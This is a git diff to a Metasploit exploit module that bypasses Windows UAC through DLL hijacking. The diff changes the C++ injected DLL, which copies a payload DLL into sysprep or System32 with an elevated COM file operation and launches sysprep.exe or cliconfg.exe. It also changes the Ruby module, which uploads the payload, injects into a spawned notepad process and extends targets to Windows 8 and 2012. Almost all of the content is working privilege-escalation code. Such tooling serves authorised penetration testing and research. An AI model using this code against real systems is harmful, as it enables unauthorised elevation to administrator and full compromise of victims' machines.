diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll index 079b16ce11..1790c4659c 100755 Binary files a/data/post/bypassuac-x64.dll and b/data/post/bypassuac-x64.dll differ diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll index 6b42302e3d..76d7b87240 100755 Binary files a/data/post/bypassuac-x86.dll and b/data/post/bypassuac-x86.dll differ diff --git a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj index 0695003480..e4b84d4ce1 100644 --- a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj +++ b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj @@ -93,7 +93,7 @@ Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) true EnableFastChecks MultiThreadedDebugDLL @@ -132,7 +132,7 @@ MaxSpeed OnlyExplicitInline true - WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions) MultiThreaded true @@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" - + - + diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp old mode 100644 new mode 100755 index 4f0ba9b113..1f27187277 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -1,119 +1,158 @@ +#include "ReflectiveLoader.h" #include "Exploit.h" -void exploit() -{ +#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;} - const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\"; - const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\"; - const wchar_t *sySysPrepExe = L"sysprep.exe"; - const wchar_t *szElevDll = L"CRYPTBASE.dll"; - const wchar_t *szSourceDll = L"CRYPTBASE.dll"; - wchar_t szElevDir[MAX_PATH] = {}; - wchar_t szElevDir_syswow64[MAX_PATH] = {}; - wchar_t szElevDllFull[MAX_PATH] = {}; - wchar_t szElevDllFull_syswow64[MAX_PATH] = {}; - wchar_t szElevExeFull[MAX_PATH] = {}; - wchar_t path[MAX_PATH] = {}; - wchar_t windir[MAX_PATH] = {}; - const wchar_t *szElevArgs = L""; - const wchar_t *szEIFOMoniker = NULL; - PVOID OldValue = NULL; +extern "C" { - IFileOperation *pFileOp = NULL; - IShellItem *pSHISource = 0; - IShellItem *pSHIDestination = 0; - IShellItem *pSHIDelete = 0; + void exploit(BypassUacPaths const * const paths) + { + const wchar_t *szElevArgs = L""; + const wchar_t *szEIFOMoniker = NULL; - const IID *pIID_EIFO = &__uuidof(IFileOperation); - const IID *pIID_EIFOClass = &__uuidof(FileOperation); - const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); + PVOID OldValue = NULL; - GetWindowsDirectoryW(windir, MAX_PATH); - GetTempPathW(MAX_PATH, path); + IFileOperation *pFileOp = NULL; + IShellItem *pSHISource = 0; + IShellItem *pSHIDestination = 0; + IShellItem *pSHIDelete = 0; - /* %temp%\cryptbase.dll */ - wcscat_s(path, MAX_PATH, szSourceDll); - - /* %windir%\System32\sysprep\ */ - wcscat_s(szElevDir, MAX_PATH, windir); - wcscat_s(szElevDir, MAX_PATH, szSysPrepDir); + BOOL bComInitialised = FALSE; - /* %windir%\sysnative\sysprep\ */ - wcscat_s(szElevDir_syswow64, MAX_PATH, windir); - wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64); + const IID *pIID_EIFO = &__uuidof(IFileOperation); + const IID *pIID_EIFOClass = &__uuidof(FileOperation); + const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); - /* %windir\system32\sysprep\cryptbase.dll */ - wcscat_s(szElevDllFull, MAX_PATH, szElevDir); - wcscat_s(szElevDllFull, MAX_PATH, szElevDll); + dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir); + dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64); + dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll); + dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull); + dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull); + dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath); - /* %windir\sysnative\sysprep\cryptbase.dll */ - wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64); - wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll); - - /* %windir%\system32\sysprep\sysprep.exe */ - wcscat_s(szElevExeFull, MAX_PATH, szElevDir); - wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe); - - if (CoInitialize(NULL) == S_OK) - { - if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK) + do { - if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK) + if (CoInitialize(NULL) != S_OK) { - if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK) - { - if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK) - { - if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK) - { - /* Copy the DLL file to the sysprep folder*/ - if (pFileOp->PerformOperations() == S_OK) - { - /* Execute sysprep.exe */ - SHELLEXECUTEINFOW shinfo; - ZeroMemory(&shinfo, sizeof(shinfo)); - shinfo.cbSize = sizeof(shinfo); - shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; - shinfo.lpFile = szElevExeFull; - shinfo.lpParameters = szElevArgs; - shinfo.lpDirectory = szElevDir; - shinfo.nShow = SW_HIDE; - - Wow64DisableWow64FsRedirection(&OldValue); - if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) - { - WaitForSingleObject(shinfo.hProcess, 10000); - CloseHandle(shinfo.hProcess); - } - - if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) - { - if (0 != pSHIDelete) - { - if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) - { - pFileOp->PerformOperations(); - // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path - // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: - // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx - if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) - { - if (0 != pSHIDelete) - { - if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) - { - pFileOp->PerformOperations(); - } - } - } - } - } - } - } - } - } - } + dprintf("[BYPASSUACINJ] Failed to initialize COM"); + break; } + + bComInitialised = TRUE; + + if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK) + { + dprintf("[BYPASSUACINJ] Couldn't create EIFO instance"); + break; + } + + if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK) + { + dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op."); + break; + } + + if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to create item from name (source)"); + break; + } + + if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to create item from name (destination)"); + break; + } + + if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll"); + break; + } + + /* Copy the DLL file to the target folder*/ + if (pFileOp->PerformOperations() != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to copy elev dll"); + break; + } + + /* Execute the target binary */ + SHELLEXECUTEINFOW shinfo; + ZeroMemory(&shinfo, sizeof(shinfo)); + shinfo.cbSize = sizeof(shinfo); + shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; + shinfo.lpFile = paths->szElevExeFull; + shinfo.lpParameters = szElevArgs; + shinfo.lpDirectory = paths->szElevDir; + shinfo.nShow = SW_HIDE; + + Wow64DisableWow64FsRedirection(&OldValue); + if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) + { + WaitForSingleObject(shinfo.hProcess, 10000); + CloseHandle(shinfo.hProcess); + } + + if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) + || NULL == pSHIDelete) + { + dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)"); + break; + } + + if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) + { + dprintf("[BYPASSUACINJ] Failed to prepare op for delete"); + break; + } + + if (pFileOp->PerformOperations() == S_OK) + { + dprintf("[BYPASSUACINJ] Successfully deleted dll"); + + // bail out this point because we don't need to keep trying to delete + break; + } + + SAFERELEASE(pSHIDelete); + + // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path + // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: + // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx + if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) + || NULL == pSHIDelete) + { + dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)"); + break; + } + + if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) + { + dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)"); + break; + } + + if (pFileOp->PerformOperations() == S_OK) + { + dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process"); + } + else + { + dprintf("[BYPASSUACINJ] Failed to delete target DLL"); + } + + } while (0); + + SAFERELEASE(pSHIDelete); + SAFERELEASE(pSHIDestination); + SAFERELEASE(pSHISource); + SAFERELEASE(pFileOp); + + if (bComInitialised) + { + CoUninitialize(); } } -} + +} \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h old mode 100644 new mode 100755 index cce02e5bff..6197bbb276 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h @@ -5,4 +5,32 @@ #include #include -EXTERN_C void exploit(); +// Uncomment this line to include debug output +//#define DEBUGTRACE + +#ifdef DEBUGTRACE +#define dprintf(...) real_dprintf(__VA_ARGS__) +static void real_dprintf(char *format, ...) +{ + va_list args; + char buffer[1024]; + va_start(args, format); + vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args); + strcat_s(buffer, sizeof(buffer), "\r\n"); + OutputDebugStringA(buffer); +} +#else +#define dprintf(...) +#endif + +typedef struct _BypassUacPaths +{ + wchar_t szElevDir[MAX_PATH]; + wchar_t szElevDirSysWow64[MAX_PATH]; + wchar_t szElevDll[MAX_PATH]; + wchar_t szElevDllFull[MAX_PATH]; + wchar_t szElevExeFull[MAX_PATH]; + wchar_t szDllTempPath[MAX_PATH]; +} BypassUacPaths; + +EXTERN_C void exploit(BypassUacPaths const * const paths); diff --git a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c old mode 100644 new mode 100755 index 83b0c9fddb..e9e97c5fb8 --- a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c +++ b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c @@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance; BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { - BOOL bReturnValue = TRUE; - switch( dwReason ) - { - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - exploit(); - ExitProcess(0); - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + + if (NULL != lpReserved) + { + dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved); + exploit((BypassUacPaths*)lpReserved); + } + + ExitProcess(0); + break; + default: + break; + } + + return TRUE; + } diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 5019fdf655..aca85738b4 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|8|2008)/ + if winversion =~ /Windows (Vista|7|8|2008|2012)/ unless is_system? begin enable_lua = registry_getvaldata( diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 1fd494d3a6..daf645d06d 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE + include Exploit::FileDropper include Post::File include Post::Windows::Priv include Post::Windows::ReflectiveDLLInjection @@ -47,43 +48,78 @@ class Metasploit3 < Msf::Exploit::Local 'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html' ] ], - 'DisclosureDate'=> "Dec 31 2010" + 'DisclosureDate'=> 'Dec 31 2010' )) end - def bypass_dll_path - # path to the bypassuac binary - path = ::File.join(Msf::Config.data_directory, "post") + def exploit + # Validate that we can actually do things before we bother + # doing any more work + validate_environment! + check_permissions! - # decide, x86 or x64 - sysarch = sysinfo["Architecture"] - if sysarch =~ /x64/i - unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i) - fail_with( - Exploit::Failure::BadConfig, - "x86 Target Selected for x64 System" + # get all required environment variables in one shot instead. This + # is a better approach because we don't constantly make calls through + # the session to get the variables. + env_vars = get_envs('TEMP', 'WINDIR') + + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Exploit::Failure::NotVulnerable, + "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." ) - end - - if sysarch =~ /WOW64/i - return ::File.join(path, "bypassuac-x86.dll") - else - return ::File.join(path, "bypassuac-x64.dll") - end - else - if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i) - fail_with( - Exploit::Failure::BadConfig, - "x64 Target Selected for x86 System" - ) - end - - ::File.join(path, "bypassuac-x86.dll") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + runas_method(env_vars['TEMP']) + return end + + dll_path = bypass_dll_path + payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll" + + upload_payload_dll(payload_filepath) + + pid = spawn_inject_proc(env_vars['WINDIR']) + + file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath) + run_injection(pid, dll_path, file_paths) + + # Windows 7 this is cleared up by DLL but on Windows + # 8.1 it fails to delete the the file. + register_file_for_cleanup(file_paths[:szElevDllFull]) end + def bypass_dll_path + # path to the bypassuac binary + path = ::File.join(Msf::Config.data_directory, 'post') + # decide, x86 or x64 + sysarch = sysinfo['Architecture'] + if sysarch =~ /x64/i + unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) + fail_with( + Exploit::Failure::BadConfig, + 'x86 Target Selected for x64 System' + ) + end + return ::File.join(path, 'bypassuac-x64.dll') + else + if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) + fail_with( + Exploit::Failure::BadConfig, + 'x64 Target Selected for x86 System' + ) + end + + return ::File.join(path, 'bypassuac-x86.dll') + end + end def check_permissions! # Check if you are an admin @@ -97,139 +133,151 @@ class Metasploit3 < Msf::Exploit::Local if admin_group print_good('Part of Administrators group! Continuing...') else - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") + fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] - fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") + fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end - - - def exploit - validate_environment! - - case get_uac_level - when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT - fail_with(Exploit::Failure::NotVulnerable, - "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." - ) - when UAC_DEFAULT - print_good "UAC is set to Default" - print_good "BypassUAC can bypass this setting, continuing..." - when UAC_NO_PROMPT - print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead" - runas_method - return - end - - check_permissions! - - @temp_path = expand_path('%TEMP%').strip - - upload_payload_dll! - - pid = spawn_inject_proc - - run_injection(pid, bypass_dll_path) - - # delete the uac bypass payload - vprint_status("Cleaning up payload file...") - file_rm(payload_filepath) - end - - - def payload_filepath - "#{@temp_path}\\CRYPTBASE.dll" - end - - - - def runas_method + def runas_method(temp_dir) payload = generate_payload_exe - payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tmpdir = expand_path("%TEMP%") - tempexe = tmpdir + "\\" + payload_filename - write_file(tempexe, payload) - print_status("Uploading payload: #{tempexe}") - session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5) - print_status("Payload executed") + payload_filename = Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' + temp_exe = "#{temp_dir}\\#{payload_filename}" + + print_status("Uploading payload: #{temp_exe}") + write_file(temp_exe, payload) + register_file_for_cleanup(temp_exe) + + print_status("Executing payload: #{temp_exe}") + session.railgun.shell32.ShellExecuteA(nil, 'runas', temp_exe, nil, nil, 5) + print_status('Payload executed.') end - - - - def run_injection(pid, dll_path) + def run_injection(pid, dll_path, file_paths) vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") begin + path_struct = create_struct(file_paths) + vprint_status("Opening process #{pid}") host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) exploit_mem, offset = inject_dll_into_process(host_process, dll_path) - vprint_status("Executing payload") - thread = host_process.thread.create(exploit_mem + offset, 0) + + vprint_status("Injecting struct into #{pid}") + struct_addr = host_process.memory.allocate(path_struct.length) + host_process.memory.write(struct_addr, path_struct) + + vprint_status('Executing payload') + thread = host_process.thread.create(exploit_mem + offset, struct_addr) print_good("Successfully injected payload in to process: #{pid}") - client.railgun.kernel32.WaitForSingleObject(thread.handle,14000) + client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000) rescue Rex::Post::Meterpreter::RequestError => e print_error("Failed to Inject Payload to #{pid}!") vprint_error(e.to_s) end end - - - def spawn_inject_proc - windir = expand_path("%WINDIR%").strip - print_status("Spawning process with Windows Publisher Certificate, to inject into...") - cmd = "#{windir}\\System32\\notepad.exe" + # Create a process in the native architecture + def spawn_inject_proc(win_dir) + print_status('Spawning process with Windows Publisher Certificate, to inject into...') + if sysinfo['Architecture'] =~ /wow64/i + cmd = "#{win_dir}\\sysnative\\notepad.exe" + else + cmd = "#{win_dir}\\System32\\notepad.exe" + end pid = cmd_exec_get_pid(cmd) unless pid - fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") + fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...') end pid end - - - def upload_payload_dll! + def upload_payload_dll(payload_filepath) payload = generate_payload_dll({:dll_exitprocess => true}) - print_status("Uploading the Payload DLL to the filesystem...") + print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") write_file(payload_filepath, payload) + register_file_for_cleanup(payload_filepath) rescue Rex::Post::Meterpreter::RequestError => e fail_with( - Exploit::Exception::Unknown, + Exploit::Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}" ) end end - - - def validate_environment! - fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system? + fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system? - winver = sysinfo["OS"] + winver = sysinfo['OS'] - unless winver =~ /Windows 2008|Windows [7]/ + case winver + when /Windows (7|8|2008|2012)/ + print_good("#{winver} may be vulnerable.") + else fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") end if is_uac_enabled? - print_status "UAC is Enabled, checking level..." + print_status('UAC is Enabled, checking level...') else if is_in_admin_group? - fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...") + fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...') else - fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") + fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end end + def get_file_paths(win_path, payload_filepath) + paths = {} + + case sysinfo['OS'] + when /Windows (7|2008)/ + paths[:szElevDll] = 'CRYPTBASE.dll' + paths[:szElevDir] = "#{win_path}\\System32\\sysprep" + paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep" + paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe" + when /Windows (8|2012)/ + paths[:szElevDll] = 'NTWDBLIB.dll' + paths[:szElevDir] = "#{win_path}\\System32" + # This should be fine to be left blank + paths[:szElevDirSysWow64] = '' + paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe" + end + + paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}" + paths[:szTempDllPath] = payload_filepath + + paths + end + + # Creates the paths struct which contains all the required paths + # the dll needs to copy/execute etc. + def create_struct(paths) + + # write each path to the structure in the order they + # are defined in the bypass uac binary. + struct = '' + struct << fill_struct_path(paths[:szElevDir]) + struct << fill_struct_path(paths[:szElevDirSysWow64]) + struct << fill_struct_path(paths[:szElevDll]) + struct << fill_struct_path(paths[:szElevDllFull]) + struct << fill_struct_path(paths[:szElevExeFull]) + struct << fill_struct_path(paths[:szTempDllPath]) + + struct + end + + def fill_struct_path(path) + path = Rex::Text.to_unicode(path) + path + "\x00" * (520 - path.length) + end + end